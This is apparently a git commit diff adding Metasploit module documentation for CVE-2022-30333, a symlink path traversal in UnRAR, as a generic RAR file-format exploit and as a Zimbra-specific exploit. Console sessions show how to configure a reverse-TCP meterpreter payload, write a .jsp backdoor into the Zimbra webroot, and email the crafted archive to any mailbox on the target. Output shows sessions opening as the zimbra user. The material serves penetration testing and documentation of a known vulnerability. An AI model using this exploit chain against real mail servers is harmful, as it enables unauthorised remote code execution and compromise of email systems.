Add module docs for the split-up unrar modules
This commit is contained in:
@@ -5,113 +5,58 @@ This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11
|
||||
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
|
||||
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
|
||||
|
||||
Zimbra is included as a specific target, because certain Zimbra versions use `unrar` to scan incoming email. Specifically, the following versions of Zimbra are affected:
|
||||
|
||||
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
|
||||
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
|
||||
|
||||
Installing the vulnerable versions of Zimbra is a pain, unfortunately. Currently, the following command works to downgrade Zimbra:
|
||||
|
||||
```
|
||||
$ apt-get install zimbra-patch=8.8.15.1651873147.p31.1-1.u18 zimbra-mta-patch=8.8.15.1651844231.p31.1-1.u18 zimbra-proxy-patch=8.8.15.1651844231.p31.1-1.u18
|
||||
$ zmcontrol -v
|
||||
Release 8.8.15.GA.3869.UBUNTU18.64 UBUNTU18_64 FOSS edition, Patch 8.8.15_P31.1.
|
||||
```
|
||||
|
||||
Followed by specifically installing the vulnerable version of `unrar` linked above. Downpatching Zimbra like that is really finnicky, though, so that likely won't always work.
|
||||
This module creates a generic RAR file containing whatever `PAYLOAD` the user configured.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To exploit Zimbra:
|
||||
To generate the .rar file:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
|
||||
RHOSTS => 10.0.0.154
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../tmp/docstest.txt
|
||||
TARGET_PATH => ../../../../../../tmp/docstest.txt
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Encoding the payload as a .jsp file
|
||||
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/sbrnabwujh.jsp
|
||||
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
|
||||
[+] File created! Email the file above to any user on the target Zimbra server
|
||||
[*] Trying to trigger the backdoor @ public/sbrnabwujh.jsp...
|
||||
[*] Trying to trigger the backdoor @ public/sbrnabwujh.jsp...
|
||||
[*] Trying to trigger the backdoor @ public/sbrnabwujh.jsp...
|
||||
[*] Sending stage (3020772 bytes) to 10.0.0.154
|
||||
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/sbrnabwujh.jsp
|
||||
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:51664) at 2022-07-20 13:33:25 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: zimbra
|
||||
```
|
||||
|
||||
To generate a generic .rar file:
|
||||
|
||||
```
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET 1
|
||||
TARGET => 1
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH '../../../../../../../../../tmp'
|
||||
TARGET_PATH => ../../../../../../../../../tmp
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_EXTENSION 'elf'
|
||||
TARGET_EXTENSION => elf
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
|
||||
|
||||
[*] Target filename: ../../../../../../../../../tmp/hftb.elf
|
||||
[*] Target filename: ../../../../../../tmp/docstest.txt
|
||||
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
|
||||
```
|
||||
|
||||
(then, in a shell with a vulnerable version of unrar)
|
||||
Then, with a vulnerable versions of UnRAR (see the link above), extract it:
|
||||
|
||||
```
|
||||
ron@fedora ~/tools/unrar $ ./unrar x ~/.msf4/local/payload.rar
|
||||
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ./unrar x -o+ ~/.msf4/local/payload.rar
|
||||
|
||||
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
|
||||
|
||||
Extracting from /home/ron/.msf4/local/payload.rar
|
||||
|
||||
Extracting ZEnFEoDkBpQZ OK
|
||||
Extracting ZEnFEoDkBpQZ OK
|
||||
Extracting hhgdzigwkgv OK
|
||||
Extracting hhgdzigwkgv OK
|
||||
All OK
|
||||
ron@fedora ~/tools/unrar $ file /tmp/hftb.elf
|
||||
/tmp/hftb.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
|
||||
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ls -l hhgdzigwkgv
|
||||
lrwxrwxrwx. 1 ron games 34 Jul 27 13:04 hhgdzigwkgv -> ../../../../../../tmp/docstest.txt
|
||||
|
||||
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ file /tmp/docstest.txt
|
||||
/tmp/docstest.txt: data
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### `FILENAME`
|
||||
|
||||
The filename to generate
|
||||
The filename to generate, typically it's `payload.rar` and that works fine.
|
||||
|
||||
### `TARGET_PATH`
|
||||
|
||||
The path (traversal included) where the payload will extract to - eg, `../../../tmp/target.txt`
|
||||
|
||||
### `TARGET_FILENAME` / `TARGET_EXTENSION`
|
||||
|
||||
The filename and extension for the payload.
|
||||
|
||||
The logic of both is:
|
||||
|
||||
* We want to randomize the `TARGET_FILENAME`, but...
|
||||
* The Zimbra exploit requires a `.jsp` extension to work
|
||||
|
||||
To have a random filename but a specific extension, my best idea is to have two separate options.
|
||||
|
||||
### `EncodeAsJsp`
|
||||
|
||||
If set to `true`, encode the payload into .jsp format. This makes it possible to exploit Zimbra.
|
||||
|
||||
### `ListenerTimeout`
|
||||
|
||||
The number of seconds to wait for a new session (default = `0`, or infinite).
|
||||
|
||||
### `CheckInterval`
|
||||
|
||||
The frequency with which to check for the payload on the server. Every `CheckInterval`, it performs an HTTP request to the payload path.
|
||||
The path, including traversal characters (`../`) and the filename. The slashes' direction doesn't matter, that gets fixed in the module.
|
||||
|
||||
## Scenarios
|
||||
|
||||
The most common examples are listed above in "Verification Steps".
|
||||
This is a pretty generic exploit that can be used against any software with a bad version of UnRAR.
|
||||
|
||||
We also built a specific exploit for Zimbra - `exploit/linux/http/zimbra_unrar_cve_2022_30333`.
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier) on Zimbra. You can get the vulnerable version of `unrar` here:
|
||||
|
||||
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
|
||||
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
|
||||
|
||||
Zimbra is the specific target, because certain Zimbra versions use `unrar` to scan incoming email. Specifically, the following versions of Zimbra, assuming the vulnerable version of `unrar` is installed, are affected:
|
||||
|
||||
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
|
||||
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
|
||||
|
||||
Installing the vulnerable versions of Zimbra is a pain, unfortunately. Currently, the following command works to downgrade Zimbra from the current version:
|
||||
|
||||
```
|
||||
# apt-get install zimbra-patch=8.8.15.1651873147.p31.1-1.u18 zimbra-mta-patch=8.8.15.1651844231.p31.1-1.u18 zimbra-proxy-patch=8.8.15.1651844231.p31.1-1.u18
|
||||
# reboot
|
||||
```
|
||||
|
||||
And to verify:
|
||||
|
||||
```
|
||||
$ sudo -u zimbra /opt/zimbra/bin/zmcontrol -v
|
||||
Release 8.8.15.GA.3869.UBUNTU18.64 UBUNTU18_64 FOSS edition, Patch 8.8.15_P31.1.
|
||||
```
|
||||
|
||||
Followed by specifically installing the vulnerable version of `unrar` linked above. Downpatching Zimbra like that is really finnicky, though, so that likely won't always work.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To exploit Zimbra, first load the module and generate the .rar file:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/zimbra_unrar_cve_2022_30333
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
|
||||
RHOSTS => 10.0.0.154
|
||||
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Encoding the payload as a .jsp file
|
||||
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
|
||||
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
|
||||
[+] File created! Email the file above to any user on the target Zimbra server
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[...] waiting [...]
|
||||
```
|
||||
|
||||
Then, email that file to any user (including a non-existent mailbox) on the Zimbra server. Once the payload arrives at Zimbra, Zimbra should try to extract it to check for malware with no user interaction. Metasploit should see the malicious file extracted and get a session:
|
||||
|
||||
```
|
||||
[...]
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[*] Sending stage (3020772 bytes) to 10.0.0.154
|
||||
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
|
||||
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:39710) at 2022-07-27 13:18:03 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: zimbra
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### `FILENAME`
|
||||
|
||||
The filename to generate - defaults to `payload.rar`, but can be changed on the filesystem or whatever.
|
||||
|
||||
### `TARGET_PATH`
|
||||
|
||||
The path (traversal included) where the payload will extract to. The default is the webroot, which is usually pretty safe.
|
||||
|
||||
### `TARGET_FILENAME`
|
||||
|
||||
The actual filename. It really should end with `.jsp`, otherwise it won't execute.
|
||||
|
||||
By default, it's a random string with `.jsp` on the end. That should work fine, especially because we can't overwrite files and don't want to use the same payload name more than once.
|
||||
|
||||
### `TRIGGER_PAYLOAD`
|
||||
|
||||
A boolean, default `true`, that determines whether we use HTTP requests to trigger the .jsp payload. Set to `false` to trigger the payload manually.
|
||||
|
||||
### `ListenerTimeout`
|
||||
|
||||
The number of seconds to wait for a new session (default = `0`, or infinite).
|
||||
|
||||
### `CheckInterval`
|
||||
|
||||
The frequency with which to check for the payload on the server. Every `CheckInterval`, it performs an HTTP request to the payload path.
|
||||
Reference in New Issue
Block a user